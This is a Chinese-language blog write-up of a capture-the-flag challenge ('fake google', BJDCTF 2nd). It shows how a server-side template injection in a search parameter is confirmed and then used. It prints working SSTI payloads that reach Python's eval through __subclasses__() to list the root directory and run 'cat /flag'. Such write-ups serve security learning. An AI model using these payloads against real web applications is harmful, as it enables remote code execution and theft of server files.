[BJDCTF 2nd]fake google

00x1分析题目

打开页面,首先是一个goole搜索框,输入内容后Enter,页面显示P3's girlfirend is : xxxx

在看URL框,发现这里其实是通过get方式传递了一个get形式的参数,传入的值就会输出在页面上。觉得可能是SSTI模板注入,因为这里会把输入的内容输出在页面上,那么表达式也有可能会被输出。查看源码,确定这里是SSTI模板注入。

00x2SSTI模板注入
表达式测试

输入{{1+1}}测试,看表达式是否会被计算,尴尬的是页面直接500了,这里估计是ban了+号,因为当你单输入一个+号时页面不会有任何的显示。

输入{{1*2}}测试,页面输出 2,可以了开始注入。

查询需要借助的类

查询可以引用的类的列表,获取到一个列表,使用python脚本查询需要的利用的类warnings.catch_warnings的位置

{{[].__class__.__base__.__subclasses__()[169]}}

页面显示:P3's girlfirend is : <class 'warnings.catch_warnings'>

查询根目录下的内容
{{[].__class__.__base__.__subclasses__()[169].__init__.__globals__['__builtins__']['eval']("__import__('os').listdir('/')")}}

页面显示

P3's girlfirend is : ['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'flag', '.dockerenv', 'app', 'bd_build']

读取flag文件

{{[].__class__.__base__.__subclasses__()[169].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

 

posted @ 2020-11-26 19:34  二算i  阅读(102)  评论(0编辑  收藏  举报